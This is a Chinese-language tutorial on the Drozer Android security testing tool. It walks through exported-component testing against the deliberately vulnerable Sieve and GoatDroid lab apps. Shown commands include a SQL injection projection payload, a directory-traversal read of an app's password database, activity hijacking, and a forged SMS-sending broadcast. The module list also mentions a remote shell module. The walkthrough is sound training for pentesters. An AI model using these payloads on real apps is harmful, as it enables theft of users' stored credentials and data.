Drozer
介绍
Drozer[1]是一款开源的 Android 安全测试和攻击工具,由 MWR InfoSecurity 开发。它提供了一个命令行接口,允许用户在安全测试或攻击 Android 应用程序时进行自动化测试,发现潜在的漏洞和安全风险。Drozer 是目前应用最为广泛的 Android 安全测试工具之一,其功能和易用性受到了广泛的认可和好评。
Drozer 的主要功能包括:
- 应用程序渗透测试:Drozer 允许用户测试 Android 应用程序的安全性,包括动态和静态分析,以及漏洞扫描等。
- 应用程序漏洞挖掘:Drozer 提供了一个插件系统,允许用户编写自己的插件来挖掘 Android 应用程序中的漏洞。
- 代码审计:Drozer 允许用户快速浏览应用程序的源代码,并快速查找敏感信息和漏洞。
- 安全审计:Drozer 提供了一些常见的安全审计功能,例如渗透测试、代码审计和漏洞扫描等。
总的来说,Drozer 是一款非常强大的 Android 安全测试工具,可以帮助安全测试人员发现 Android 应用程序中的漏洞和安全风险,并提供相应的解决方案。
GitHub: https://github.com/WithSecureLabs/drozer
安装
环境准备
- python 2.7[2]【必须,不然可能会有玄学 BUG】
PC 控制端安装
# 安装依赖
python2 -m pip install wheel
python2 -m pip install pyyaml
python2 -m pip install pyhamcrest
python2 -m pip install protobuf
python2 -m pip install pyopenssl
python2 -m pip install twisted
python2 -m pip install service_identity
# 下载whl到本地
wget https://github.com/WithSecureLabs/drozer/releases/download/2.4.4/drozer-2.4.4-py2-none-any.whl
python2 -m pip install drozer-2.4.4-py2-none-any.whl
设备端 agent 安装
wget https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk
adb install drozer-agent-2.3.4.apk
连接
启动drozer agent
# 端口转发
adb forward tcp:31415 tcp:31415
# 连接
drozer console connect
出现如下内容,就说明 OK 了
Selecting da226956879c9325 (Xiaomi MI 6 Plus 6.0.1)
.. ..:.
..o.. .r..
..a.. . ....... . ..nd
ro..idsnemesisand..pr
.otectorandroidsneme.
.,sisandprotectorandroids+.
..nemesisandprotectorandroidsn:.
.emesisandprotectorandroidsnemes..
..isandp,..,rotectorandro,..,idsnem.
.isisandp..rotectorandroid..snemisis.
,andprotectorandroidsnemisisandprotec.
.torandroidsnemesisandprotectorandroid.
.snemisisandprotectorandroidsnemesisan:
.dprotectorandroidsnemesisandprotector.
drozer Console (v2.4.4)
dz>
输入run app.package.list
列举出所有的软件,可以列举就更加说明安装成功了。
相关命令
help: 列出所有可用命令,可通过`help <module>`查看指定的帮助信息,如`help app.package.list`
list: 列出可用模块的列表,可选择按名称过滤(也可以使用ls),如 `list service`。
run: 执行模块,使用方式 `run <module>`,如`run app.package.list`
模块介绍翻译:
模块 | 说明 |
| 查找可以处理给定 intent 的 activity |
| 获取有关已导出 activity 的信息。 |
| 启动 activity |
| 获取有关 broadcast receiver 的信息 |
| 使用 intent 发送广播 |
| 注册可以嗅探特定 intent 的 broadcast receiver |
| 获取软件包的攻击面 |
| 列出使用备份 API 的软件包( |
| 查找可调试的软件包 |
| 获取有关已安装软件包的信息 |
| 获取软件包的启动 intent |
| 列出软件包 |
| 获取软件包的 AndroidManifest.xml |
| 查找应用程序中嵌入的本地库。 |
| 查找共享 UID 的软件包 |
| 列出内容提供者中的列 |
| 从内容提供者中删除 |
| 从支持文件的内容提供者下载文件 |
| 在软件包中查找引用的内容 URI |
| 获取有关导出内容提供程序的信息 |
| 插入到内容提供程序 |
| 查询内容提供程序 |
| 从支持文件的内容提供程序中读取 |
| 更新内容提供者中的记录 |
| 获取有关已导出服务的信息 |
| 向服务发送消息,并显示回复 |
| 启动服务 |
| 停止服务 |
| 启动内容提供者的 Web 服务接口。 |
| 打开@jdwp-control,查看哪些应用连接 |
| 读取 APN 内容提供者 |
| 读取设置内容提供者 |
| 打印日期/时间 |
| 获取详细设备信息 |
| 获取设备上所有软件包使用的所有权限列表 |
| 获取可以从 Web 浏览器调用的所有可浏览的 activity |
| 查找包中包含的本地组件 |
| 在给定文件夹中查找可读取的全局文件 |
| 搜索可从拨号器中使用的秘密代码 |
| 在给定文件夹中查找 suid / sgid 二进制文件(默认为/system)。 |
| 在给定文件夹中查找可写的全局文件 |
| 搜索可以从我们的上下文查询的内容提供者。 |
| 测试内容提供程序的 SQL 注入漏洞。 |
| 查找可通过 SQL 注入漏洞访问的表。 |
| 测试内容提供程序是否存在基本目录遍历漏洞。 |
| 执行单个 Linux 命令。 |
| 将 ASH shell 发送到远程侦听器。 |
| 进入交互式 Linux shell。 |
| 下载文件。 |
| 获取文件的 md5 校验和。 |
| 获取文件大小。 |
| 上传文件。 |
| 安装 Busybox。 |
| 准备在设备上安装'minimal-su'二进制文件。 |
四大组件
说明
组件名称 | 描述 | 用途 |
Activity | 代表应用程序中的单个屏幕或用户界面 | 处理用户与应用程序的交互和响应用户的操作 |
Service | 代表应用程序中的后台任务 | 在后台执行长时间运行的操作,例如音乐播放、下载和数据处理 |
BroadcastReceiver | 用于接收系统广播和应用程序内部广播 | 响应系统和应用程序中的广播消息,例如电池电量、网络连接状态、应用程序安装等 |
ContentProvider | 用于应用程序之间共享数据 | 允许应用程序访问其他应用程序存储在特定位置的数据,例如联系人、照片、音频文件等 |
测试
以sieve.apk[3]为例,查看攻击面
# 找到APP包名
dz> run app.package.list -f sie
com.mwr.example.sieve (Sieve)
# 找到模块
dz> ls attack
app.package.attacksurface Get attack surface of package
# 查看攻击面,可以通过 -h 参数查看帮助
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
<packagename>
是包名。可以看到有 3 个 activity、0 个广播接收者、2 个内容提供者和 2 个服务可以被导出,并且开启了 debug 模式。
**可导出:**可以被其他应用程序或组件调用
- 一般有参数的情况下需要结合反编译去分析传入的参数,然后用参数
--extra
去构造发送。 - Intent 是一种用于在不同组件之间传递数据和执行操作的机制。Intent 除了可以携带数据外,还可以传递Bundle 对象或者使用
putExtra
方法传递键值对来传递数据。所以我们在分析参数的时候,着重注意Bundle对象
Bundle bundle = arg1.getExtras();
sms.sendTextMessage(bundle.getString("phoneNumber"), null, bundle.getString("message"), null, null);
// 参数 phoneNumber 和 message
Activity
风险点:
- 未授权访问(信息泄漏)
- 拒绝服务(发送空/畸形数据)
- activity 劫持
获取可导出 activity
# run app.activity.info -a <packagename>
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
Permission: null
com.mwr.example.sieve.MainLoginActivity
Permission: null
com.mwr.example.sieve.PWList
Permission: null
调用对应的 activity,切换到对应界面,查看是否存在未授权,以及程序是否会崩溃(拒绝服务)
# run app.activity.start --component <packagename> <component>
# run app.activity.start --component <packagename> <component> --extra string value 12345
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
activity未授权
测试是否存在 Activity 劫持
# 环境准备
wget https://github.com/yanghaoi/android_app/raw/master/uihijackv2.0_sign.apk
# 安装点击劫持软件
adb install uihijackv2.0_sign.apk
在打开原 activity 的基础上,调用此组件,如果uihijackv2.0_sign
界面位于被测软件上,则存在漏洞,否则不存在漏洞。
run app.activity.start --component com.test.uihijack com.test.uihijack.MainActivity
Service
风险点:
- 根据具体的功能点分析
- 拒绝服务
获取可导出服务
# run app.service.info -a <packagename>
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null
启动服务
# run app.service.start --component <packagename> <component>
dz> run app.service.start --component com.mwr.example.sieve com.mwr.example.sieve.AuthService
dz> run app.service.start --component com.mwr.example.sieve com.mwr.example.sieve.CryptoService
绑定到一个已导出的服务,并向其发送一条消息。如果服务发送了一个回复,则显示接收到的消息及其包含的任何数据【发送数据到服务,并 dump 数据】
# run app.service.send <packagename> <component> --msg 1 2 3 --extra float value 0.1324 --extra string test value
dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 0 --extra string com.mwr.example.sieve.PIN 1234888 --bundle-as-obj
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService:
what: 5
arg1: 41
arg2: 1
Extras
com.mwr.example.sieve.PIN (String) : 1234888
如果返回的是对象类数据,一定要加上参数
--bundle-as-obj
,不然 drozer 会直接退出。
--msg
和--extra
参数来源:
常量值
参数分析
另一个服务也一样
dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 3452 0 0 --extra string com.mwr.example.sieve.KEY 123 --extra string com.mwr.example.sieve.STRING 456 --bundle-as-obj
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.CryptoService:
what: 9
arg1: 91
arg2: 0
Extras
com.mwr.example.sieve.RESULT (byte[]) : [55, 41, -24, -79, 3, 110, -82, -59, 93, -94, -83, -45, -8, 9, 97, -70, -79, 101, -80]
com.mwr.example.sieve.STRING (String) : 456
com.mwr.example.sieve.KEY (String) : 123
关闭服务
# run app.service.stop --component <packagename> <component>
dz> run app.service.stop --component com.mwr.example.sieve com.mwr.example.sieve.AuthService
ContentProvider
风险点:
- 信息泄漏
- 注入漏洞
Content Provider 中的注入漏洞允许攻击者向 Content Provider 中注入恶意数据,从而可以获取敏感信息或者执行未经授权的操作。攻击者可以利用注入漏洞来执行 SQL 注入攻击,从而获取或修改 Content Provider 中的数据。如果 Content Provider 中存储了敏感数据,攻击者可能会利用注入漏洞来窃取该数据,导致严重的数据泄露问题。
- 目录遍历漏洞
使用
ContentProvider.openFile()
可以实现应用间共享数据,如果这个方法使用不当将会导致目录遍历漏洞。该漏洞允许攻击者访问 Content Provider 中未经授权的文件和目录。攻击者可以利用目录遍历漏洞来获取敏感信息,如密码、密钥、证书等。此外,攻击者还可以利用目录遍历漏洞来执行未经授权的操作,如删除或修改 Content Provider 中的文件,导致严重的安全问题。
获取提供者信息
# run app.provider.info -a <packagename>
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
查询是否存在信息泄漏
# run scanner.provider.finduris -a <packagename>
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider/
Unable to Query content://com.mwr.example.sieve.DBContentProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
查询数据
# run app.provider.query <uri> [option args]
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
| Password | pin |
| 1 | null |
查询是否存在注入
# run scanner.provider.injection -a <packagename>
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
content://com.mwr.example.sieve.DBContentProvider/Keys
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.DBContentProvider
content://com.mwr.example.sieve.FileBackupProvider
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
利用注入
# 列出所有的表
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* FROM SQLITE_MASTER WHERE TYPE='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) |
| table | Passwords | Passwords | 4 | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |
| table | Key | Key | 5 | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT ) |
查询是否存在目录遍历
# run scanner.provider.traversal -a <packagename>
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.DBContentProvider/Keys
content://com.mwr.example.sieve.DBContentProvider/Passwords/
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
利用目录遍历读取文件
# run app.provider.read <uri>
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/../../../../../../../..//data/user/0/com.mwr.example.sieve/databases/database.db
BroadcastReceiver
风险点:
- 消息伪造
- 拒绝服务
上面的 APK 不存在广播接收者,所以这里更换为另一个APK[4]
获取可导出广播接收者
# run app.broadcast.info -a <packagename>
dz> run app.broadcast.info -a org.owasp.goatdroid.fourgoats
发送广播
发送电量屏幕的广播
run app.broadcast.send --action android.intent.action.SCREEN_ON
部分系统预定义广播及正常触发时机
action | 触发时机 |
android.net.conn.CONNECTIVITY_CHANGE | 网络连接发生变化 |
android.intent.action.SCREEN_ON | 屏幕点亮 |
android.intent.action.SCREEN_OFF | 屏幕熄灭 |
android.intent.action.BATTERY_LOW | 电量低,会弹出电量低提示框 |
android.intent.action.BATTERY_OKAY | 电量恢复了 |
android.intent.action.BOOT_COMPLETED | 设备启动完毕 |
android.intent.action.DEVICE_STORAGE_LOW | 存储空间过低 |
android.intent.action.DEVICE_STORAGE_OK | 存储空间恢复 |
android.intent.action.PACKAGE_ADDED | 安装了新的应用 |
android.net.wifi.STATE_CHANGE | WiFi 连接状态发生变化 |
android.net.wifi.WIFI_STATE_CHANGED | WiFi 状态变为启用/关闭/正在启动/正在关闭/未知 |
android.intent.action.BATTERY_CHANGED | 电池电量发生变化 |
android.intent.action.INPUT_METHOD_CHANGED | 系统输入法发生变化 |
android.intent.action.ACTION_POWER_CONNECTED | 外部电源连接 |
android.intent.action.ACTION_POWER_DISCONNECTED | 外部电源断开连接 |
android.intent.action.DREAMING_STARTED | 系统开始休眠 |
android.intent.action.DREAMING_STOPPED | 系统停止休眠 |
android.intent.action.WALLPAPER_CHANGED | 壁纸发生变化 |
android.intent.action.HEADSET_PLUG | 插入耳机 |
android.intent.action.MEDIA_UNMOUNTED | 卸载外部介质 |
android.intent.action.MEDIA_MOUNTED | 挂载外部介质 |
android.os.action.POWER_SAVE_MODE_CHANGED | 省电模式开启 |
发送给指定的 broadcast receiver
# run app.broadcast.send --component <packagename> <component>
dz> run app.broadcast.send --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extra string phoneNumber 123 --extra string message 666
image
extra 参数来源:
image
参考资料
[1]
Drozer: https://labs.withsecure.com/tools/drozer
[2]
python 2.7: https://www.python.org/ftp/python/2.7.18/python-2.7.18-macosx10.9.pkg
[3]
sieve.apk: https://github.com/as0ler/Android-Examples/blob/master/sieve.apk
[4]
APK: https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk